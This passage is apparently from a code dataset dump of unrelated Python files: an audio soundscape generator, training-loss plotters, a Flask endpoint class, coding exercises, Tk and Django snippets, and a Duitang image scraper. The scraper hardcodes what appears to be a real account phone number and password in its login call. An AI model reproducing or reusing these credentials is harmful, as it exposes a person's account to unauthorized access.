in range(len(thisscape['Start Times'])): #add each planned vocalization\n sc.add_event(label=('const', fg_label),\n source_file = ('const', f'{sourcedir}/foreground/{fg_label}/' + thisscape['Source Files'][i]),\n source_time = ('const', 0),\n event_time = ('const', thisscape['Start Times'][i]),\n event_duration = ('const', thisscape['End Times'][i] - thisscape['Start Times'][i]),\n snr = ('uniform', 14, 20), #-10, 6), #TODO: this always needs tested in case something is different about the foreground files\n pitch_shift = None,\n time_stretch = None )\n \n# num_junk = random.randint(0,2) #2 for 5s rats, 10 for easyjunk pnre, 5 for shortjunk pnre\n# for j in range(num_junk):\n# sc.add_event(label=('const', junk_label),\n# source_file = ('choose', []),\n# source_time = ('const', 0),\n# event_time = ('uniform', 0, scape_dur-.5),\n# event_duration = ('const', 5), # TODO: get length so don't have to deal with the warnings.\n # snr = ('uniform',-5,2),\n # pitch_shift=('normal', -.5,.5),\n # time_stretch=('uniform',.5,2))\n\n \n sc.generate(audiofile,jamsfile,\n allow_repeated_label=True,\n allow_repeated_source=True,\n reverb=0,\n disable_sox_warnings=True,\n no_audio=False)\n \n df = pd.DataFrame(thisscape)\n df = df.transpose()\n df.to_csv(f'{outdir}/{fname}.csv')\n\n print(f\"Scape {fname} generated.\")\n \n\n\n\n\n################################################################################################################\n# The below variables are all that need changed before running.\n# Barry:\n# 2) Run with '-W ignore' if you don't want a scaper error every time it has to cut down a piece of\n# audio when it runs past the end of the scape.\n# 3) After the code completes, my terminal goes weird and I have to kill the tab and reopen\n# This started happening when I implemented the parallel code a while back, I don't know why.\n\n#sourcedir is the directory where the script is run from,\n# and where file 'singlebarkspecs.csv' and directories 'foreground' and 'background' are located\nsourcedir = \"/media/PNRE/noisy/short/rats/makin-scapes\"#sparse-rats-scapering\"\noutdir = \"easy-rats-5s-same_scapes\"\nscape_dur = 5\nscapecount = 1 # how many scapes to make\nbg_label = \"norats-nofarinosas\" # name of the subdirectory within 'background' with desired backgrounds\nfg_label = \"single-barks\" # name of the subdirectory within 'foreground' with desired vocalizations\njunk_label = \"junk\" # name of the subdirectory within 'foreground' with junk sounds to add\nbasename = \"easy-rats-5s-same\" # scapes will be names {basename}_scape{index}.wav (with corresponding .csv and .jams)\nmax_calls_per_file = 3 # insert between one and three rat barks into each scape\n\nif not os.path.exists(f'{sourcedir}/{outdir}'):\n print(f'making {outdir}')\n os.makedirs(f'{sourcedir}/{outdir}')\n\nstart = datetime.now()\n\nbarks_df = pd.read_csv(f'{sourcedir}/singlebarkspecs.csv', header=None)\nbarks_df.columns = ['Source File', 'Length', 'Low Freq', 'High Freq']\n\nallthescapes = [None]*scapecount\n\n\nfor i in range(scapecount):\n thisscape_dict = build_scapeData(barks_df, i, max_calls_per_file, scape_dur, basename)\n allthescapes[i] = thisscape_dict\n \nscapes = pd.DataFrame(allthescapes) # probably unnecessary but I didn't feel like changing the next few lines so I just converted it again\nscapes.columns = ['End Times', 'High Freqs', 'Low Freqs', 'Scape Name', 'Source Files', 'Start Times']\n \nnprocs = cpu_count()\nexecutor = ProcessPoolExecutor(nprocs)\nfuts = [executor.submit(build_scape, row, outdir, scape_dur, sourcedir, bg_label, fg_label, junk_label) for idx, row in scapes.iterrows()]\nfor fut in as_completed(futs):\n _ = fut.result()\n \n# build_scapes(outdir, scape_dur, scapecount, sourcedir, bg_label, junk_label, basename)\nprint(\"Done! Completed in \" + str(datetime.now()-start) + \" seconds.\\n\")\n","sub_path":"scape-gen/scapeGen_parallel.py","file_name":"scapeGen_parallel.py","file_ext":"py","file_size_in_byte":6841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"183387772","text":"from __future__ import print_function\nimport os\nimport numpy as np\nimport glob\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport csv\n\n\nclass DataPlotter(object):\n \"\"\" \"\"\"\n\n def __init__(self, file_type='free_epoch'):\n plt.rcParams[\"font.family\"] = \"Times New Roman\"\n self.filepath = 'logs'\n self.fontsize = 55\n self.key = 'cor'\n self.aux = 'obj'\n self.fig = plt.figure()\n self.ax1 = self.fig.add_subplot(111)\n self.ax1.set_ylabel('C[-]', fontsize=self.fontsize)\n self.ax1.set_xlabel('epoch[-]', fontsize=self.fontsize)\n self.ax2 = self.ax1.twinx() # this is the important function\n self.ax2.set_ylabel('N[-]', fontsize=self.fontsize)\n self.ax1.tick_params(labelsize=self.fontsize)\n self.ax2.tick_params(labelsize=self.fontsize)\n self.lines = (\n [1, 0], # solid line\n [6, 2], # dotted line\n [4, 2, 1, 2], # long dotted line\n [4, 2, 1, 1, 1, 2], # line-dot\n [3, 2], # dots\n [1, 1])\n\n def plot_obj_loss_val(self):\n files = self.find_files(self.filepath, form='*epoch_val_dw_obj_loss.csv')\n files.sort()\n colors = ['green', 'red', 'blue', 'black', 'purple']\n ends = [200, 200, 200, 200, 300]\n ax, handles = self.new_figure(y_label='$J_c$[-]'), []\n labels = ['DarkNet-53', 'Resnet-50', 'VGG-16', 'VGG-19', 'XceptionV3']\n for i, f in enumerate(files):\n data2d, lamb = self.read_csv(f), float(f.split('bce_')[-1].split('_')[0])\n handles.append(self.plotting(ax=ax, data2d=data2d, end=ends[i], color=colors[i]))\n backbone_type = f.split('rgous-')[-1].split('C')[0]\n print('obj_val', backbone_type, data2d[ends[i], 1], f)\n ax.set_ylim([0.142, 0.37])\n ax.set_yticks(np.arange(0.15, 0.36, 0.05))\n plt.legend(handles, labels, prop={'size': self.fontsize}, ncol=1)\n\n def plot_obj_loss(self):\n files = self.find_files(self.filepath, form='*epoch_dw_obj_loss.csv')\n files.sort()\n colors = ['green', 'red', 'blue', 'black', 'purple']\n ends = [200, 200, 200, 200, 300]\n ax, handles = self.new_figure(y_label='$J_c$[-]'), []\n labels = ['DarkNet-53', 'Resnet-50', 'VGG-16', 'VGG-19', 'XceptionV3']\n for i, f in enumerate(files):\n data2d, lamb = self.read_csv(f), float(f.split('bce_')[-1].split('_')[0])\n handles.append(self.plotting(ax=ax, data2d=data2d, end=ends[i], color=colors[i]))\n backbone_type = f.split('rgous-')[-1].split('C')[0]\n print('obj', backbone_type, data2d[ends[i], 1])\n ax.set_ylim([0.06, 0.55])\n # ax.set_yticks(np.arange(0.15, 0.36, 0.05))\n plt.legend(handles, labels, prop={'size': self.fontsize}, ncol=1)\n\n def plot_cor_loss_val(self):\n files = self.find_files(self.filepath, form='*epoch_val_dw_cor_loss.csv')\n files.sort()\n colors = ['green', 'red', 'blue', 'black', 'purple']\n ends = [200, 200, 200, 200, 300]\n ax, handles = self.new_figure(), []\n labels = ['DarkNet-53', 'Resnet-50', 'VGG-16', 'VGG-19', 'XceptionV3']\n for i, f in enumerate(files):\n data2d, lamb = self.read_csv(f), float(f.split('bce_')[-1].split('_')[0])\n data2d[:, 1] /= float(lamb)\n handles.append(self.plotting(ax=ax, data2d=data2d, end=ends[i], color=colors[i]))\n backbone_type = f.split('rgous-')[-1].split('C')[0]\n print('cor_val', backbone_type, data2d[ends[i], 1], f)\n ax.set_ylim([0.219, 0.254])\n # ax.set_yticks(np.arange(0.2, 0.3, 0.1))\n plt.legend(handles, labels, prop={'size': self.fontsize}, ncol=1)\n\n def plot_cor_loss(self):\n files = self.find_files(self.filepath, form='*epoch_dw_cor_loss.csv')\n files.sort()\n colors = ['green', 'red', 'blue', 'black', 'purple']\n ends = [200, 200, 200, 200, 300]\n ax, handles = self.new_figure(), []\n labels = ['DarkNet-53', 'Resnet-50', 'VGG-16', 'VGG-19', 'XceptionV3']\n for i, f in enumerate(files):\n data2d, lamb = self.read_csv(f), float(f.split('bce_')[-1].split('_')[0])\n data2d[:, 1] /= float(lamb)\n handles.append(self.plotting(ax=ax, data2d=data2d, end=ends[i], color=colors[i]))\n backbone_type = f.split('rgous-')[-1].split('C')[0]\n print('cor', backbone_type, data2d[ends[i], 1])\n ax.set_ylim([0.217, 0.227])\n # ax.set_yticks(np.arange(0.2, 0.3, 0.1))\n plt.legend(handles, labels, prop={'size': self.fontsize}, ncol=1)\n\n def plotting(self, ax, data2d, begin=0, end=-1, smoothing=0.1, color=None):\n x = data2d[begin:end, 0]\n y = data2d[begin:end, 1]\n # y = pd.DataFrame(data2d[begin:end, 1])\n l1, = ax.plot(x, self.smooth(y, smoothing), linewidth=8, color=color)\n return l1\n\n @staticmethod\n def smooth(scalars, weight): # Weight between 0 and 1\n last = scalars[0] # First value in the plot (first timestep)\n smoothed = list()\n for point in scalars:\n smoothed_val = last * weight + (1 - weight) * point # Calculate smoothed value\n smoothed.append(smoothed_val) # Save it\n last = smoothed_val # Anchor the last smoothed value\n return smoothed\n\n def new_figure(self, y_label='$J_r/\\\\lambda_r$[-]', x_label='epoch[-]'):\n fig = plt.figure()\n ax = fig.gca()\n ax.set_ylabel(y_label, fontsize=self.fontsize)\n ax.set_xlabel(x_label, fontsize=self.fontsize)\n ax.tick_params(labelsize=self.fontsize)\n return ax\n\n def view(self, begin=0, end=-1, window=30, prefixes=('', '', '', ''),\n anchor=(0.98, 0.78), colors=('b', 'g', 'magenta'),\n line_styles=(('-', '--'), ('-', '--'), ('-', '--')),\n yt1=np.arange(0.042, 0.050, 0.002),\n yt2=np.arange(0.930, 0.9425, 0.0035), zorders=(50, 50, 50)):\n files = self.find_files(self.filepath)\n handles, labels = [], []\n for i, f in enumerate(files):\n pf = self.find_partner(f)\n key = self.read_csv(f)\n aux = self.read_csv(pf)\n name = f.split('free_')[-1].split('-')[0]\n hs, ls = self.plot_free_epoch(\n key, aux, name, zorder=zorders[i],\n window=window, yt1=yt1, yt2=yt2, prefix=prefixes[i],\n begin=begin, end=end, color=colors[i], dashes=line_styles[i])\n handles.extend(hs)\n labels.extend(ls)\n plt.legend(handles, labels, bbox_to_anchor=anchor, prop={'size': 38})\n plt.show()\n return\n\n def find_partner(self, filename):\n parts = filename.split(self.key)\n partner = parts[0] + self.aux + parts[-1]\n return partner\n\n def plot_free_epoch(self, key, aux, name, window=20, prefix='', zorder=50,\n begin=0, end=-1, color='g', dashes=('-', '--'),\n yt1=np.arange(0.042, 0.050, 0.002),\n yt2=np.arange(0.930, 0.9425, 0.0035)):\n self.ax1.set_yticks(yt1)\n self.ax2.set_yticks(yt2)\n x = key[begin:end, 0]\n dk = pd.DataFrame(key[begin:end, 1])\n da = pd.DataFrame(aux[begin:end, 1])\n dk = dk[0].rolling(window).mean()\n da = da[0].rolling(window).mean()\n l1, = self.ax1.plot(\n x, dk, dashes=dashes[0], linewidth=6, color=color, zorder=zorder)\n l2, = self.ax2.plot(\n x, da, dashes=dashes[1], linewidth=6, color=color, zorder=zorder)\n b1 = prefix + '-' + 'C'\n b2 = prefix + '-' + 'N'\n # draw vline\n no, = np.where(key[:, 0] == int(name))\n self.ax1.scatter(int(name), dk[no - begin],\n marker='h', s=600, zorder=zorder, c=color)\n self.ax2.scatter(int(name), da[no - begin],\n marker='h', s=600, zorder=zorder, c=color)\n return [l1, l2], [b1, b2]\n\n @staticmethod\n def read_csv(filename):\n values = []\n with open(filename, 'rb') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n values.append([int(row['Step']), float(row['Value'])])\n return np.array(values)\n\n @staticmethod\n def find_files(filepath, form='*_cor_metric.csv'):\n return glob.glob(filepath + os.sep + form)\n\n\nif __name__ == '__main__':\n # viewer = DataViewer(file_type='free_epoch')\n # styles = (\n # [viewer.lines[0], viewer.lines[1]],\n # [viewer.lines[2], viewer.lines[3]],\n # [viewer.lines[4], viewer.lines[5]])\n # prefixes = ['fe-200', 'fe-150', 'fe-100']\n # zs = [100, 0, 200]\n # viewer.view(begin=30, end=350, window=30, anchor=(0.98, 0.78),\n # colors=('r', 'g', 'b'), line_styles=styles,\n # prefixes=prefixes, zorders=zs)\n\n viewer = DataPlotter(file_type='diff_free')\n styles = (\n [viewer.lines[0], viewer.lines[1]],\n [viewer.lines[4], viewer.lines[5]],\n [viewer.lines[2], viewer.lines[3]])\n prefixes = ['YIPS-V-8', 'YIPS-V-7', 'YIPS-V-6']\n zs = [200, 100, 0]\n # viewer.view(begin=30, end=350, window=20, anchor=(0.95, 0.75),\n # colors=('r', 'g', 'b'), line_styles=styles, prefixes=prefixes,\n # yt1=np.arange(0.042, 0.080, 0.005),\n # yt2=np.arange(0.850, 0.9425, 0.01),\n # zorders=[100, 0, 200])\n\n viewer.plot_cor_loss_val()\n # viewer.plot_obj_loss_val()\n # viewer.plot_cor_loss()\n # viewer.plot_obj_loss()\n # plt.show()\n\n# vgg19_comp_free200_check400_0.7\n","sub_path":"Experiments/EvaluateYIPS/compare_task_fusion/databorad.py","file_name":"databorad.py","file_ext":"py","file_size_in_byte":9661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"199627499","text":"import functools\nimport os\n\nimport flask as f\nimport flask.views\nimport flask_login\n\n\ndef as_bool(x):\n return x.lower() in [\"yes\", \"y\", \"1\", \"on\", \"true\"]\n\n\ndef maybe_login_required(func):\n @functools.wraps(func)\n def maybe(*args, **kwargs):\n public = as_bool(os.getenv(\"BENCHMARKS_DATA_PUBLIC\", \"yes\"))\n if not public:\n return flask_login.login_required(func)(*args, **kwargs)\n return func(*args, **kwargs)\n\n return maybe\n\n\nclass ApiEndpoint(flask.views.MethodView):\n def validate(self, schema):\n data = f.request.get_json(silent=True)\n\n munged = data.copy() if data else data\n if data:\n for field, value in data.items():\n if isinstance(value, str) and not value.strip():\n munged[field] = None\n\n errors = schema.validate(munged)\n\n if errors:\n hint = \"Did you specify Content-type: application/json?\"\n if \"Invalid input type.\" in errors.get(\"_schema\", []):\n errors[\"_schema\"].append(hint)\n\n if not data:\n errors[\"_errors\"] = [\"Empty request body.\"]\n\n if errors:\n if \"id\" in errors and errors[\"id\"] == [\"Unknown field.\"]:\n errors[\"id\"] = [\"Read-only field.\"]\n self.abort_400_bad_request(errors)\n\n return data\n\n def redirect(self, endpoint, **kwargs):\n return f.redirect(f.url_for(endpoint, **kwargs))\n\n def abort_400_bad_request(self, message):\n if not isinstance(message, dict):\n message = {\"_errors\": [message]}\n f.abort(400, description=message)\n\n def abort_404_not_found(self):\n f.abort(404)\n\n def response_204_no_content(self):\n return \"\", 204\n\n def response_202_accepted(self):\n return \"\", 202\n\n def response_201_created(self, body):\n headers = {\n \"Content-Type\": \"application/json\",\n \"Location\": body[\"links\"][\"self\"],\n }\n return body, 201, headers\n","sub_path":"conbench/api/_endpoint.py","file_name":"_endpoint.py","file_ext":"py","file_size_in_byte":2002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"403562286","text":"# You're given strings J representing the types of stones that are jewels, and S\n# representing the stones you have. Each character in S is a type of stone you ha\n# ve. You want to know how many of the stones you have are also jewels.\n#\n# The letters in J are guaranteed distinct, and all characters in J and S are l\n# etters. Letters are case sensitive, so \"a\" is considered a different type of sto\n# ne from \"A\".\n#\n# Example 1:\n#\n#\n# Input: J = \"aA\", S = \"aAAbbbb\"\n# Output: 3\n#\n#\n# Example 2:\n#\n#\n# Input: J = \"z\", S = \"ZZ\"\n# Output: 0\n#\n#\n# Note:\n#\n#\n# S and J will consist of letters and have length at most 50.\n# The characters in J are distinct.\n#\n# Related Topics Hash Table\n\n\n# Runtime: 28 ms, faster than 77.01% of Python3 online submissions for Jewels and Stones.\n# Memory Usage: 13.8 MB, less than 72.83% of Python3 online submissions\n# for Jewels and Stones.\n\nclass Solution:\n def numJewelsInStones(self, J: str, S: str) -> int:\n original_length = len(S)\n for jewel in J:\n S = S.replace(jewel, '')\n return original_length - len(S)\n","sub_path":"solutions/array/easy/Jewel_and_Stones.py","file_name":"Jewel_and_Stones.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"29919183","text":"# Check to see if a string has the same amount of 'x's and 'o's. The string can contain any char.\n#\n# Examples:\n#\n# input: \"ooxx\"\n# output: True\n#\n# input: \"xooxx\"\n# output: False\n#\n# input: \"ooxXm\"\n# output: True\n#\n# True when no 'x' and 'o' is present\n# input: \"zpzpzpp\"\n# output: True\n\n# ======\n# 1 variant\n# ======\n\nstr = list(input(\"Input string \"))\n\nequiv = 0\nlet_1_0 = 'x'\nlet_1_1 = 'X'\nlet_2 = 'o'\n\nfor i in str:\n\n if i == let_1_1:\n i = let_1_0\n\n if i == let_1_0:\n equiv += 1\n elif i == let_2:\n equiv -= 1\n\nif equiv == 0:\n # print(f'Amount \"{let_1_0}\" is equal amount \"{let_2}\"')\n output = True\nelif equiv > 0:\n # print(f'Amount \"{let_1_0}\" is more than amount \"{let_2}\"')\n output = False\nelse:\n # print(f'Amount \"{let_2}\" is more than amount \"{let_1_0}\"')\n output = False\n\nprint(output)\n\n# ======\n\n# ======\n# 2 variant\n# ======\n\nstr = list(input(\"Input string \"))\n\nequiv_1 = 0\nequiv_2 = 0\nlet_1 = 'xX'\nlet_2 = 'o'\n\nfor i in str:\n\n for let in let_1:\n if i == let:\n equiv_1 += 1\n\n if i == let_2:\n equiv_2 += 1\n\nif equiv_1 == equiv_2:\n output = True\nelse:\n output = False\n\nprint(output)\n\n# ======\n# 3 variant\n# ======\n\nstr = list(input(\"Input string \"))\n\noutput = False\nequiv_1, equiv_2 = [], []\nlet_1 = 'xX'\nlet_2 = 'o'\n\nfor i in str:\n\n for let in let_1:\n if i == let:\n equiv_1.append(i)\n\n if i == let_2:\n equiv_2.append(i)\n\nif len(equiv_1) == len(equiv_2):\n output = True\n\nprint(output)","sub_path":"kirill_kravchenko/02/task_2.1.py","file_name":"task_2.1.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"60061729","text":"import time\nimport requests\nimport os\nimport random\nimport threading\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.common.keys import Keys\n\n\ndef status_code_():\n try:\n e = driver.find_element_by_xpath('//div[@class=\"pg-center-text\"]').find_element_by_tag_name(\"p\")\n # print(e.text)\n if str(e.text) == \"图片找不到啦!\":\n print(\"图片找不到啦!\")\n return 1\n else:\n raise BaseException(\"正常-_-!\")\n except:\n # print(\"正常-_-!\")\n return 0\n\n\ndef Form_feed(hot):\n global url\n name = \"二次元百合\"\n # hot = \"2\"\n number_of_pages = \"#!hot-p\" + str(hot)\n url = \"https://www.duitang.com/blogs/tag/?name=\" + name + number_of_pages\n\n\ndef abnormal():\n global false\n false = True\n try:\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, 'p-username')))\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, 'p-password')))\n time.sleep(2)\n except:\n print(\"abnormal() 异常\")\n false = False\n\n\ndef Refresh():\n try:\n WebDriverWait(driver, 1).until(EC.presence_of_element_located((By.XPATH, '//li[@class=\"woo-cur\"]')))\n return 0\n except:\n return 1\n\n\ndef Landing(account_number, account_password):\n # 模拟登陆\n driver.find_element_by_id(\"p-username\").send_keys(account_number) # 账号\n time.sleep(1)\n driver.find_element_by_id(\"p-password\").send_keys(account_password) # 密码\n driver.find_element_by_class_name(\"pg-loginbtn\").click()\n time.sleep(2)\n\n\ndef scroll_bar():\n name_false = True\n zo = 0\n k = 0\n k1 = 0\n while name_false:\n zo += 1\n # 下拉\n try:\n js = \"window.scrollTo(0, document.body.scrollHeight)\"\n driver.execute_script(js)\n except:\n pass\n #\n try:\n driver.find_element_by_xpath('//li[@class=\"woo-cur\"]').click()\n name_false = False\n k1 = 0\n print(\"滚动条结束...\\n\")\n return 0\n except:\n k += 1\n print(\"滚动条动态码:\", k)\n\n if zo == 10:\n rh = Refresh()\n if k1 == 10:\n k1 += 1\n driver.refresh()\n elif k1 == 20:\n k1 = 0\n name_false = False\n return 1\n elif rh == 1:\n k1 += 1\n else:\n k1 = 0\n time.sleep(int(random.uniform(0, 2)))\n\n\ndef Retry():\n try:\n driver.find_element_by_partial_link_text(\"点此重试\")\n except:\n pass\n\n\ndef Grab():\n global list_\n list_ = []\n try:\n holders = driver.find_elements_by_xpath('//div[@class=\"mbpho\"]')\n for holder in holders:\n io = holder.find_element_by_class_name('a').find_element_by_tag_name('img').get_attribute('src')\n list_.append(io)\n\n # print(io)\n list_1.append(list_)\n # print(list_1)\n list_ = []\n # print(list_)\n except:\n print(\"没有元素\")\n\n\ndef save(digital_, path, file_format):\n # global lst, s_c_i, t_o_i\n img = []\n img1 = []\n lst = 0\n s_c_i = 0\n t_o_i = 0\n Number_of_crawls = 0\n # path = \"爬虫数据/图片/堆糖-图片/\"\n # file_format = \".jpg\"\n if not os.path.exists(path):\n os.makedirs(path)\n print(\"创建成功...\")\n\n # 保存\n for url_r in list_1[digital_]:\n lst += 1\n file_name = str(lst)\n\n try:\n r = requests.get(url_r, timeout=6)\n status_code = r.status_code\n if status_code == 200:\n Number_of_crawls += 1\n with open(path + file_name + file_format, \"wb\") as f:\n f.write(r.content)\n f.close()\n print(url_r, \" 保存成功...\")\n else:\n print(url_r, \" 状态码:\", status_code)\n s_c_i += 1\n img.append(\"堆糖-图片\" + str(digital_) + \":\" + str(s_c_i))\n status.append(img)\n except:\n print(url_r, \" 超时...\")\n t_o_i = 1\n img1.append(\"堆糖-图片\" + str(digital_) + \":\" + str(t_o_i))\n time_out_.append(img1)\n\n Total_number_of_crawls.append(Number_of_crawls)\n\n img = []\n img1 = []\n Number_of_crawls = 0\n lst = 0\n s_c_i = 0\n t_o_i = 0\n\n\nclass myThread(threading.Thread):\n def __init__(self, name, digital_, path, file_format):\n threading.Thread.__init__(self)\n self.name = name\n self.digital_ = digital_\n self.path = path\n self.file_format = file_format\n\n def run(self):\n # print(\"开始...\")\n save(self.digital_, self.path, self.file_format)\n\n\nglobal driver, list_1\nglobal status, time_out_\nglobal Total_number_of_crawls\nTotal_number_of_crawls = []\nstatus = []\ntime_out_ = []\nlist_1 = []\nplus = 0\ntrue__ = 0\nLost = []\n\nStart = time.time()\ndriver = webdriver.Firefox()\ndriver.maximize_window()\ndriver.get(\"https://www.duitang.com/blogs/tag/?name=二次元百合\")\n\n_status_code_ = status_code_()\nif _status_code_ == 0:\n abnormal()\n if false:\n Landing(\"19866323970\", \"abc13829827806\")\n\n while plus < 80:\n true = True\n plus += 1\n # for i in range(0,plus):\n driver.refresh()\n time.sleep(0.3)\n driver.refresh()\n ss_ce = status_code_()\n if ss_ce == 1:\n # driver.refresh()\n plus -= 1\n true__ += 1\n true = False\n if true__ == 4:\n Lost.append(plus)\n true = True\n if true:\n true__ = 0\n Form_feed(plus)\n driver.get(url)\n driver.refresh()\n sb = scroll_bar()\n if sb == 1:\n continue\n else:\n Retry()\n Grab()\n\n# plus += 1\n\n thread_list = []\n print(\"开始...\\n\")\n for ik in range(int(len(list_1))):\n thread = myThread(\"Thread-\" + str(ik), ik, \"爬虫数据/图片/堆糖-图片\" + str(ik) + \"/\", \".jpg\")\n thread.start()\n thread_list.append(thread)\n\n for thread_lists in thread_list:\n thread_lists.join()\n\n end_ = time.time()\n # print(ik)\n print(\"---------------------------------------------------------------------------------------\")\n print(\"已经抓取的数量:\", sum(Total_number_of_crawls))\n print(\"\\n走丢的页数有:\", Lost)\n print(\"状态码错误:\", status)\n print(\"超时:\", time_out_)\n print(\"\\n全部结束了...\")\n print(\"\\n总时长:\", end_ - Start)","sub_path":"python/爬虫/TOP1爬虫程序/堆糖-爬虫-多线程.py","file_name":"堆糖-爬虫-多线程.py","file_ext":"py","file_size_in_byte":7158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"161678389","text":"\"\"\"\r\nPython code snippets vol 38:\r\n190-Tk Add or remove rows live\r\nstevepython.wordpress.com\r\n\r\nrequirements:pip3 install tk_tools\r\n\r\nhttps://github.com/slightlynybbled/tk_tools/blob/master/examples/label_grid.py\r\n\"\"\"\r\n\r\nimport tkinter as tk\r\nfrom random import randint\r\nimport tk_tools\r\n\r\n\r\ndef add_row():\r\n row = [randint(0, 10) for _ in range(3)]\r\n label_grid.add_row(row)\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n root = tk.Tk()\r\n\r\n add_row_btn = tk.Button(text='Add Row', command=add_row)\r\n add_row_btn.grid(row=0, column=0, columnspan=2, sticky='ew')\r\n\r\n remove_row_btn = tk.Button(text='Remove Row')\r\n remove_row_btn.grid(row=1, column=0, sticky='ew')\r\n\r\n row_to_remove_entry = tk.Entry(root)\r\n row_to_remove_entry.grid(row=1, column=1, sticky='ew')\r\n row_to_remove_entry.insert(0, '0')\r\n\r\n remove_row_btn.config(command=lambda: label_grid.remove_row(int(row_to_remove_entry.get())))\r\n\r\n label_grid = tk_tools.LabelGrid(root, 3, ['Column0', 'Column1', 'Column2'])\r\n label_grid.grid(row=2, column=0, columnspan=2, sticky='ew')\r\n\r\n root.mainloop()\r\n","sub_path":"Python-code-snippets-101-200/190-Tk Add or remove rows live.py","file_name":"190-Tk Add or remove rows live.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"563701264","text":"from django.conf.urls import patterns, url\nfrom Geo import views\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n\n url(r'^$', 'Geo.views.home', name='home'),\n url(r'^Igneous_Rocks/', 'Geo.views.igneous', name='igneous'),\n url(r'^Yellowstone/', 'Geo.views.yellowstone', name='yellowstone'),\n url(r'^Snake_River_Plain/', 'Geo.views.snakeriverplain', name='snakeriverplain'),\n url(r'^References/', 'Geo.views.references', name='references'),\n url(r'^$/', 'Geo.views.home', name='home'),\n)\n\n\nhandler404 = views.home","sub_path":"GeologyProject/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"35327155","text":"from Tkinter import *\nfrom tkFileDialog import askopenfilename\nimport Image, ImageTk\n\nimport time\nfrom threading import Thread\n\nimport tkMessageBox\n\nimport math\n\nimport numpy\nfrom numpy import matrix\n\ndef dot_prodcut(v1, v2):\n return v1[0]*v2[0]+v1[1]*v2[1]\n\ndef add(v1, v2):\n return [v1[0]+v2[0], v1[1]+v2[1]]\n\ndef subtract(v1, v2):\n return [v1[0]-v2[0], v1[1]-v2[1]]\n\ndef cross_product(v1, v2):\n return v1[0]*v2[1]-v1[1]*v2[0]\n\ndef edge_intersect_test(e1, e2):\n p1 = e1[0]\n p2 = e1[1]\n p3 = e2[0]\n p4 = e2[1]\n p = p1\n r = subtract(p2, p1)\n\n if same_point_test(r, [0, 0]):\n return False\n\n q = p3\n s = subtract(p4, p3)\n\n if same_point_test(s, [0, 0]):\n return False\n\n rs = cross_product(r, s)\n qp = subtract(q, p)\n qpr = cross_product(qp, r)\n\n if rs == 0:\n if qpr == 0:\n rr = dot_prodcut(r, r)\n\n\n t0 = float(dot_prodcut(qp, r))/rr\n t1 = t0+float(dot_prodcut(s,r))/rr\n\n interval = [min(t0, t1), max(t0, t1)]\n if interval[0] < 0:\n if interval[1] > 0:\n return True\n else:\n return False\n elif interval[0] < 1:\n return True\n else:\n return False\n else:\n return False\n else:\n t = float(cross_product(qp, s))/rs\n u = float(cross_product(qp, r))/rs\n if t < 1 and t > 0 and u < 1 and u > 0:\n return True\n else:\n return False\n\ndef get_angle(v1, v2):\n dot = dot_prodcut(v1, v2)\n det = cross_product(v1, v2)\n angle = math.atan2(det, dot)\n angle = angle*180/math.pi\n\n if angle < 0:\n angle += 360\n if angle >= 360:\n angle -= 360\n\n return angle\n\n\n\ndef sort_into_anticlockwisse(a, b, c):\n o = add(add(a,b), c)\n o = [float(o[0])/3, float(o[1])/3]\n oa = subtract(a, o)\n ob = subtract(b, o)\n oc = subtract(c, o)\n\n a2b = get_angle(oa, ob)\n a2c = get_angle(oa, oc)\n\n\n\n\n\n if a2b > a2c:\n return [a, c, b]\n else:\n return [a, b, c]\n\ndef get_sorted_candidates(a, b, point_set, merged_edges):\n to_return = []\n v1 = subtract(b, a)\n for p in point_set:\n if same_point_test(a, p):\n continue\n \n edge = [a, p]\n found = False\n for tmp_edge in merged_edges:\n if smae_edge_test(tmp_edge, edge):\n found = True\n break\n\n if not found:\n continue\n\n v2 = subtract(p, a)\n\n\n\n\n angle = get_angle(v1, v2)\n to_return.append([p, angle])\n\n to_return = sorted(to_return, key=lambda x:x[1])\n return to_return \n\n\n\n\n\n\n\n\ndef inside_circumcircle(a, b, c, d):\n a, b, c = sort_into_anticlockwisse(a, b, c)\n Ax = a[0]\n Ay = a[1]\n Bx = b[0]\n By = b[1]\n Cx = c[0]\n Cy = c[1]\n Dx = d[0]\n Dy = d[1]\n\n m = []\n m.append([Ax-Dx, Ay-Dy, Ax*Ax-Dx*Dx+Ay*Ay-Dy*Dy])\n m.append([Bx-Dx, By-Dy, Bx*Bx-Dx*Dx+By*By-Dy*Dy])\n m.append([Cx-Dx, Cy-Dy, Cx*Cx-Dx*Dx+Cy*Cy-Dy*Dy])\n\n m = matrix(m)\n\n return numpy.linalg.det(m) > 0\n\n\n\n\ndef same_point_test(p1, p2):\n return p1[0] == p2[0] and p1[1] == p2[1]\n\ndef smae_edge_test(e1, e2):\n if same_point_test(e1[0], e2[0]):\n return same_point_test(e1[1], e2[1])\n elif same_point_test(e1[0], e2[1]):\n return same_point_test(e1[1], e2[0])\n\n return False\n\n\ndef check_bottomedge(edge, point_set):\n b = edge[0]\n a = edge[1]\n\n ab = subtract(b, a)\n\n flag = True\n\n for p in 